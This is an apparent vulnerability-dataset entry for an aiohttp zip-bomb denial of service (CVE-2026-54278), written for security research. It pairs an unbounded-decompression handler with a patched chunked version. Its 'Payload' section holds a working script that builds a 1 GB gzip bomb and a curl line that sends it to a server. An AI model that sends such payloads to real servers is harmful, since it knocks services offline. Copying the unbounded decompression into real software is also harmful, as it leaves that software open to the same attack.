CVE-2026-54278
AIOHTTP vulnerable to DoS via uncontrolled decompression of a request body.
- CVSS 6.6
- CWE-409
- Resource Management
- Remote
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, during cleanup it is possible for a compressed request body to be decompressed into memory in one chunk. An attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case). This vulnerability is fixed in 3.14.1.
- CWE
- CWE-409
- CVSS base score
- 6.6
- Published
- 2026-06-22
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- AIOHTTP
- Fixed by upgrading
- Yes
Solution
Upgrade aiohttp to version 3.14.1 or later.
Vulnerable code sample
from aiohttp import web
import gzip
async def vulnerable_handler(request):
# This reads the entire request body into memory at once.
raw_body = await request.read()
# If the content is gzipped, this decompresses the entire body in a single
# operation without any limit on the output size. An attacker can send a
# small, highly-compressed payload (a "zip bomb") that, when decompressed,
# consumes a massive amount of memory, leading to a Denial-of-Service.
if request.headers.get('Content-Encoding') == 'gzip':
try:
decompressed_data = gzip.decompress(raw_body)
# The application would then attempt to process the
# potentially huge `decompressed_data`.
except Exception:
return web.Response(status=500, text="Decompression Error")
return web.Response(text="Request Processed")
app = web.Application()
app.add_routes([web.post('/', vulnerable_handler)])
# To run this example, you would use:
# web.run_app(app)
# And send a POST request with a gzipped "bomb", e.g.:
# `curl -X POST --data-binary @bomb.gz -H "Content-Encoding: gzip" http://localhost:8080/`Patched code sample
import zlib
import io
def safe_decompress_in_chunks(compressed_stream: io.BytesIO, *, limit: int):
"""
Represents the principle of the aiohttp fix for stream decompression.
Instead of decompressing the entire payload into memory at once, this function
reads the compressed stream in small chunks and deompresses them
incrementally. It continuously checks if the total size of the
decompressed data has exceeded a predefined security limit.
If the limit is exceeded, it raises an exception, preventing a potential
Denial of Service (DoS) attack from a "zip bomb" that would otherwise
consume excessive memory.
Args:
compressed_stream: A file-like object containing compressed data.
limit: The maximum allowed size for the decompressed data in bytes.
Raises:
ValueError: If the decompressed data size exceeds the limit.
Returns:
The decompressed data as bytes, if it is within the size limit.
"""
decompressor = zlib.decompressobj()
decompressed_data = bytearray()
# The fix is to process data in chunks rather than all at once.
while True:
# Read a small chunk from the input stream.
chunk = compressed_stream.read(16 * 1024) # 16KB chunks
if not chunk:
break
# Decompress the chunk. The max_length argument provides an additional
# layer of protection within the zlib library itself.
decompressed_chunk = decompressor.decompress(chunk, limit - len(decompressed_data))
# Check if the total size now exceeds the security limit.
if len(decompressed_data) + len(decompressed_chunk) > limit:
raise ValueError(f"Decompressed body size exceeds limit of {limit} bytes.")
decompressed_data.extend(decompressed_chunk)
# Handle any remaining data in the decompressor's buffer.
final_chunk = decompressor.flush()
if len(decompressed_data) + len(final_chunk) > limit:
raise ValueError(f"Decompressed body size exceeds limit of {limit} bytes.")
decompressed_data.extend(final_chunk)
return bytes(decompressed_data)Payload
import gzip
# The target size of the decompressed data in bytes (e.g., 1 GB).
# This large size is intended to exhaust the server's memory.
UNCOMPRESSED_SIZE = 1024 * 1024 * 1024
# Create highly compressible data (a single byte repeated).
BOMB_CONTENT = b'a' * UNCOMPRESSED_SIZE
# Compress the data using gzip. The resulting payload will be very small.
gzipped_payload = gzip.compress(BOMB_CONTENT)
# The `gzipped_payload` variable now holds the bytes to be sent as the
# HTTP request body. It must be accompanied by a `Content-Encoding: gzip` header.
# For practical use, you can save this payload to a file.
with open('dos_payload.gz', 'wb') as f:
f.write(gzipped_payload)
# This file can then be sent with a tool like curl:
# curl -X POST --data-binary @dos_payload.gz -H "Content-Encoding: gzip" http://vulnerable-server/endpoint
Cite this entry
@misc{vaitp:cve202654278,
title = {{AIOHTTP vulnerable to DoS via uncontrolled decompression of a request body.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-54278},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54278/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
